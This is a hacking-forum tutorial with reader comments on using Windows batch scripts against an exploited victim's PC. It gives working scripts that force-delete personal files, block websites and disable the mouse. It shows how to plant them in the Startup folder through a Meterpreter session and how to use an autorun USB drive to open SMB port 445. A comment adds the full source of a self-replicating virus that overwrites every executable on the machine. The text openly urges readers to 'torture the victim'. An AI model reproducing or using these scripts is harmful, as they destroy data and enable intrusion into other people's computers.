Hack Like an Elite: Batch Scripting for Malicious Purposes: PART 3 (The Main One)

Batch Scripting for Malicious Purposes: PART 3 (The Main One)

At last, what you all finally waited for!
Hi! Fire Crackers,

Welcome to my 7th post (Part-3), this tutorial will explain about some situations and how to make the Victim's Life like Hell! And fill his system with Malware.

#1 Situation: After Exploiting...

  • Go ahead and exploit the Victim's PC.

Step 1: Ready Your Weapons:

Let me Supply you some (Real) Ammo:

------------Copied From here BUT, edited, + added my own-----------

Go to that site and choose your weapons and ammo.

Some explanation:

1) Block Google.
Code:
@echo off
cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 google.com >> "Hosts"
echo 127.0.0.1 www.google.com >> "Hosts"
-----------

It adds this Domain/Website name to the hosts folder, and any-website contained in this folder gets blocked (In simple words)

2) Change time:
Code:
@echo off
time 00:00
----------
I didn't like it but its quite freaky!

3) Delete My Pictures , Documents etc...
Code:
@echo off
del /f /q "C:\Users\%userprofile%\My Documents\*.*"
del /f /q "C:\Users\%userprofile%\My Music\*.*"
del /f /q "C:\Users\%userprofile%\My Pictures\*.*"
---------

  • del means delete.
  • /f is a switch, which force deletes the files, if they are read-only.
  • /q is a switch, which quietly deletes the files without any prompts.
  • *.* to delete all the items in the current directory.

4) Swap Mouse Button:
Code:
@echo off
Rundll32 user32,SwapMouseButton
----------
An easy scripts, that changes the setting of mouse from control panel.

5) Disable Mouse:
Code:
@echo off
set key="HKEYLOCALMACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4_
---------------

Complicated Script, Edits the registry settings for mouse, By navigating to its folder and editing DWORD (+ other values.)

If you need more scripts, but can't understand the meaning then, ask me in the comments section

Step 2: Let's Start the Upload Process:

I have exploited the PC, on WAN with static IP as my NET Connection is Slightly faster, but I highly recommend to do this on LAN, because Uploading will take Hours Until the Victim's as well as the attackers connection Speed is FAST!

After the Meterpreter Prompt:

  • FIRST, Download all the important, information you need, before it gets deleted by these scripts.
  • Copy those scripts above and paste then in notepad and save them with the extension .bat
  • Now it's time to upload them, all!
  • You can also make your own scripts like of aggravating messages etc. (which will Welcome the user at start-up with the word "DIE".
  • Save all the scripts with the name, a,b,c,d,e (.bat) respectively.
  • Move these scripts to the root directory of Kali (the host)
  • Type: (In the meterpreter:)
  • cd /
  • ls
  • cd Users/%pf%/AppData/Roaming/Microsoft/Windows/"Start Menu"/Programs/Startup
  • Upload a.bat
  • Upload b.bat
  • Upload c.bat
  • Upload d.bat
  • Upload e.bat

On the victim's Side:

Step 3: Upload Finished, Let the Victim Enjoy!

  • These Scrips will execute as soon as the Victim's system is Started/Re-Started
  • I am not going to show you how to make scripts that send victim's Log Data Through FTP, because you can simply use the download command or in-build Kali meterpreter commands/modules.
  • Don't use scripts like the Folder Bomber etc, or the victim will become suspicious and format his PC.
  • Now. I hope you can make scripts that slowly eat RAM in the background, use Task Scheduler etc...
  • Also, don't use scripts that FORMATs his/her PC, in other words,
  • Torture the Victim, don't just simply Kill him!
  • And my work for this situation is done here.
  • Victim can use safe mode to counter this, but can have a hard time finding it in Windows 8.

#2 Situation: For the Exploit

You can use batch scripts, for even exploiting the PC!
BUT
You need a physical access to the PC, (or Convince the Victim to open the script.)
Follow:

  • Copy this script:

-----------------
@echo off
netsh firewall set portopening tcp 445 smb enable
-----------------
(NOT Tested)
Cause:Opens the specified port and make the victim, Vulnerable.
(Open all the vulnerable ports)

  • Save it as anything.bat
  • Make an autorun file:

--------------------
[autorun]
open=anything.bat
Icon=anything.ico
---------------------

  • Save it as autorun.inf.
  • Put them in a Flash/Pen Drive. Connect this drive to the victims PC for about five seconds, and pull it out.
  • Done! (No one knows what you just did!)
  • Exploit and have Fun!

Remember!

  • Batch scripts can be easily opened/edited and read by anyone, it's better to convert them to .exe (executable files)
  • Some Batch files may need Admin Permission.
  • So, you can manually execute them by going into the shell and navigating to the correct directory and typing start whatever.bat
  • Situation 2, may not work if the auto-run is disabled.
  • And try some more Disables: Here

Good-Bye!

I hope you had Fun today!
The Final part of Batch, will be about Protection using Batch!
Until then ByE.

Keep Coming for More!

Thank You,
F.E.A.R.

17 Comments

You are welcome! :)

Yes, have downloaded, but not yet run/opened, first trying to configure, its working, (because I take time in fully getting to know about vbs and bash scripts),

Will do it today, and thanks for the script! (Half done)

OMG!
Awesome! Cracker, even though I decrypted(not the correct word xD) it.
I had no idea, that, 'THAT' was going to happen.!! (I though it would send the keystrokes, in a message box)
Truly amazing, was this script made solely, by you?
Really enjoyed it, looks like I really need to work hard on the Conceptual part.

Yes, it was. It took me a LONG time to do each individual keystroke.
CTRL + C & CTRL + V ;)

Yes I know, and I can understand ;) {lol}

(Intense laughter!)
I want it too xD

I made a small batch script for a friend a few months ago. It logs all the files and directories and sends it to the attacker via FTP. Download it here...

You'll have to edit the script to match your IP and server credentials (admin was my server username, and abcd12 was the password). Don't forget to port forward if you're doing it over WAN!

Nice C|H,
Thank you for the script, I have made some too, but, instead I use metasploit to download logs etc..
I'll try it, and it will still need admin rights, right?

I prefer the FTP command because it's built in to all (new) Windows versions.

FTP scripts + metasploit (upload and execute) = Time save + All Automated process. :. Energy save.
Good combination!

If you really wanted to cause some damage in pure batch, you could use this recursive virus that I made. But I warn you, its very dangerous, especially if ran with admin rights. so I'm not responsible for any damages. It will spam folders in all directories above the current directory, self replicate its self a random amount of times in all folders above the directory, and lastly it will infect all exe files in every directory on the computer by over writing it with a copy of the virus itself. Pretty much trashes your whole system. Just copy it in startup or do a registry start for best results.

::This virus was created by Jacob gilbert.
@echo off
SetLocal EnableDelayedExpansion
for %%A in ("%CD%") do set ROOTFOLDER=%%~DA\
for /l %%X in (1,0,2) do (
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
set "RAND=1!RANDOM:~-1!!RANDOM:~-1!"
for /l %%X in (1,1,!RAND!) do (
type %0 > !RANDOM!!RANDOM!!RANDOM!!RANDOM!.bat & type %0 > con )
for %%A in (*.exe) do set "FILE1=%%~DPNXA" & for %%I IN ("!FILE1!") do (
ren "!FILE1!" "%%~NI.txt" & if exist "!FILE1:~0,-4!.txt" copy /y %0 "!FILE1:~0,-4!.txt"
ren "!FILE1:~0,-4!.txt" "%%~NI.bat" )
for /r %%X in (*.exe) do set "FILE2=%%X" & for %%Z IN ("!FILE2!") do (
ren "!FILE2!" "%%~NZ.txt" & if exist "!FILE2:~0,-4!.txt" copy /y %0 "!FILE2:~0,-4!.txt"
ren "!FILE2:~0,-4!.txt" "%%~NZ.bat")
cd..
if "!CD!"=="%ROOTFOLDER%" call :end
)
:end
exit

Its not quite finished yet but it should cause some true damage when I am finished.

Share Your Thoughts

  • Hot
  • Latest